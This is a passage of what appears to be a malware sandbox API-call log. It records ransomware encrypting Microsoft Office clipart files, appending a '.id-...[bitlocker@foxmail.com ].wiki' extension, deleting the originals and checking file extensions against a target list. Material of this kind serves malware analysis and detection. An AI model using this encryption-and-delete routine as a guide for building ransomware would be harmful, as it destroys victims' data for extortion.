hTemplateFile=0x0) returned 0x1e0 [0190.928] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.928] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.929] GetLastError () returned 0x0 [0190.929] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3682, lpOverlapped=0x0) returned 1 [0190.964] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3690, lpOverlapped=0x0) returned 1 [0190.965] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.965] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.965] SetEndOfFile (hFile=0x218) returned 1 [0190.965] CloseHandle (hObject=0x218) returned 1 [0190.965] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.965] SetEndOfFile (hFile=0x1e0) returned 1 [0190.966] CloseHandle (hObject=0x1e0) returned 1 [0190.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0190.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.967] lstrlenW (lpString=".doc") returned 4 [0190.967] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.967] lstrlenW (lpString=".docx") returned 5 [0190.967] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0190.967] lstrlenW (lpString=".pdf") returned 4 [0190.967] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.967] lstrlenW (lpString=".xls") returned 4 [0190.967] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.967] lstrlenW (lpString=".xlsx") returned 5 [0190.967] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0190.967] lstrlenW (lpString=".ppt") returned 4 [0190.967] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.967] lstrlenW (lpString=".zip") returned 4 [0190.967] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.967] lstrlenW (lpString=".rar") returned 4 [0190.967] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.967] lstrlenW (lpString=".bz2") returned 4 [0190.967] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.967] lstrlenW (lpString=".7z") returned 3 [0190.967] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.967] lstrlenW (lpString=".dbf") returned 4 [0190.967] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.967] lstrlenW (lpString=".1cd") returned 4 [0190.967] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.967] lstrlenW (lpString=".jpg") returned 4 [0190.967] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.968] lstrlenW (lpString=".doc") returned 4 [0190.968] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.968] lstrlenW (lpString=".docx") returned 5 [0190.968] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0190.968] lstrlenW (lpString=".pdf") returned 4 [0190.968] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.968] lstrlenW (lpString=".xls") returned 4 [0190.968] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.968] lstrlenW (lpString=".xlsx") returned 5 [0190.968] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0190.968] lstrlenW (lpString=".ppt") returned 4 [0190.968] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.968] lstrlenW (lpString=".zip") returned 4 [0190.968] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.968] lstrlenW (lpString=".rar") returned 4 [0190.968] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.968] lstrlenW (lpString=".bz2") returned 4 [0190.968] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.968] lstrlenW (lpString=".7z") returned 3 [0190.968] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.968] lstrlenW (lpString=".dbf") returned 4 [0190.968] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.968] lstrlenW (lpString=".1cd") returned 4 [0190.968] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0190.968] lstrlenW (lpString=".jpg") returned 4 [0190.968] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.969] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.969] lstrlenW (lpString="J0099161.JPG") returned 12 [0190.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.969] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=7154) returned 1 [0190.969] CloseHandle (hObject=0x1e0) returned 1 [0190.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 0x20 [0190.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.969] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.969] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.972] GetLastError () returned 0x0 [0190.972] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1bf2, lpOverlapped=0x0) returned 1 [0190.985] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1c00, lpOverlapped=0x0) returned 1 [0190.986] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.986] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.986] SetEndOfFile (hFile=0x218) returned 1 [0190.986] CloseHandle (hObject=0x218) returned 1 [0190.986] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.986] SetEndOfFile (hFile=0x1e0) returned 1 [0190.987] CloseHandle (hObject=0x1e0) returned 1 [0190.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0190.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.987] lstrlenW (lpString=".doc") returned 4 [0190.987] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.987] lstrlenW (lpString=".docx") returned 5 [0190.987] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0190.987] lstrlenW (lpString=".pdf") returned 4 [0190.987] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.987] lstrlenW (lpString=".xls") returned 4 [0190.987] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.988] lstrlenW (lpString=".xlsx") returned 5 [0190.988] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0190.988] lstrlenW (lpString=".ppt") returned 4 [0190.988] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.988] lstrlenW (lpString=".zip") returned 4 [0190.988] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.988] lstrlenW (lpString=".rar") returned 4 [0190.988] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.988] lstrlenW (lpString=".bz2") returned 4 [0190.988] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.988] lstrlenW (lpString=".7z") returned 3 [0190.988] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.988] lstrlenW (lpString=".dbf") returned 4 [0190.988] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.988] lstrlenW (lpString=".1cd") returned 4 [0190.988] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.988] lstrlenW (lpString=".jpg") returned 4 [0190.988] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.989] lstrlenW (lpString=".doc") returned 4 [0190.989] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.989] lstrlenW (lpString=".docx") returned 5 [0190.989] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0190.989] lstrlenW (lpString=".pdf") returned 4 [0190.989] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.989] lstrlenW (lpString=".xls") returned 4 [0190.989] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.989] lstrlenW (lpString=".xlsx") returned 5 [0190.989] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0190.989] lstrlenW (lpString=".ppt") returned 4 [0190.989] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.989] lstrlenW (lpString=".zip") returned 4 [0190.989] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.989] lstrlenW (lpString=".rar") returned 4 [0190.989] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.989] lstrlenW (lpString=".bz2") returned 4 [0190.989] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.989] lstrlenW (lpString=".7z") returned 3 [0190.989] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.989] lstrlenW (lpString=".dbf") returned 4 [0190.989] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.990] lstrlenW (lpString=".1cd") returned 4 [0190.990] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0190.990] lstrlenW (lpString=".jpg") returned 4 [0190.990] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.990] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.990] lstrlenW (lpString="J0099163.WMF") returned 12 [0190.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.990] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=22356) returned 1 [0190.990] CloseHandle (hObject=0x1e0) returned 1 [0190.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20 [0190.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.991] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.991] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.991] GetLastError () returned 0x0 [0190.991] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x5754, lpOverlapped=0x0) returned 1 [0191.045] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5760, lpOverlapped=0x0) returned 1 [0191.046] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.046] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.046] SetEndOfFile (hFile=0x218) returned 1 [0191.047] CloseHandle (hObject=0x218) returned 1 [0191.047] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.047] SetEndOfFile (hFile=0x1e0) returned 1 [0191.048] CloseHandle (hObject=0x1e0) returned 1 [0191.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0191.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.048] lstrlenW (lpString=".doc") returned 4 [0191.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.048] lstrlenW (lpString=".docx") returned 5 [0191.048] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0191.048] lstrlenW (lpString=".pdf") returned 4 [0191.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.048] lstrlenW (lpString=".xls") returned 4 [0191.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.048] lstrlenW (lpString=".xlsx") returned 5 [0191.048] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0191.048] lstrlenW (lpString=".ppt") returned 4 [0191.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.048] lstrlenW (lpString=".zip") returned 4 [0191.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.048] lstrlenW (lpString=".rar") returned 4 [0191.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString=".bz2") returned 4 [0191.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString=".7z") returned 3 [0191.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.049] lstrlenW (lpString=".dbf") returned 4 [0191.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.049] lstrlenW (lpString=".1cd") returned 4 [0191.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.049] lstrlenW (lpString=".jpg") returned 4 [0191.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.049] lstrlenW (lpString=".doc") returned 4 [0191.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString=".docx") returned 5 [0191.049] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0191.049] lstrlenW (lpString=".pdf") returned 4 [0191.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString=".xls") returned 4 [0191.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.049] lstrlenW (lpString=".xlsx") returned 5 [0191.049] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0191.049] lstrlenW (lpString=".ppt") returned 4 [0191.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.049] lstrlenW (lpString=".zip") returned 4 [0191.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.049] lstrlenW (lpString=".rar") returned 4 [0191.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.049] lstrlenW (lpString=".bz2") returned 4 [0191.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.050] lstrlenW (lpString=".7z") returned 3 [0191.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.050] lstrlenW (lpString=".dbf") returned 4 [0191.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.050] lstrlenW (lpString=".1cd") returned 4 [0191.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0191.050] lstrlenW (lpString=".jpg") returned 4 [0191.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.050] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.050] lstrlenW (lpString="J0099166.JPG") returned 12 [0191.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.051] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=64767) returned 1 [0191.051] CloseHandle (hObject=0x1e0) returned 1 [0191.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 0x20 [0191.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.051] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.051] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 